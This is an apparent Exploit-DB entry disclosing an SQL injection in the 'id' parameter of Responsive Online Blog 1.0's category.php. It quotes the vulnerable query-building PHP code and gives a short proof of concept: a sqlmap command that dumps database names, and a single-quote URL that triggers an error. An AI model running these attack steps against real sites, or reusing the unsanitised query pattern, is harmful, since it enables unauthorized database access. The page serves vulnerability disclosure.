header-logo
Suggest Exploit
vendor:
Responsive Online Blog
by:
Eren Şimşek
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Responsive Online Blog
Affected Version From: v1.0
Affected Version To: v1.0
Patch Exists: N/A
Related CWE: N/A
CPE: a:sourcecodester:responsive_online_blog:1.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux - Wamp Server
2020

Responsive Online Blog 1.0 – ‘id’ SQL Injection

The vulnerable file is category.php, which contains a parameter 'id' that is used in an SQL query without any changes. An attacker can use sqlmap to exploit the vulnerability by passing the URL 'http://localhost/resblog/category.php?id=1' with the --dbs --batch option, or by passing a single quote in the URL 'http://TARGET/resblog/category.php?id=1' which will cause an SQL error.

Mitigation:

Input validation should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Responsive Online Blog 1.0 - 'id' SQL Injection
# Date: 2020-06-23
# Exploit Author: Eren Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: Linux - Wamp Server

>Vulnerable File
   /category.php

>Vulnerable Code

   $id=$_REQUEST['id'];
   $query="SELECT * from blog_categories where id='".$id."'";
   Id parameter enters sql query without any changes

>Proof Of Concept
   sqlmap 'http://localhost/resblog/category.php?id=1' --dbs --batch
   OR
   http://TARGET/resblog/category.php?id=1' Single Quote will cause SQL error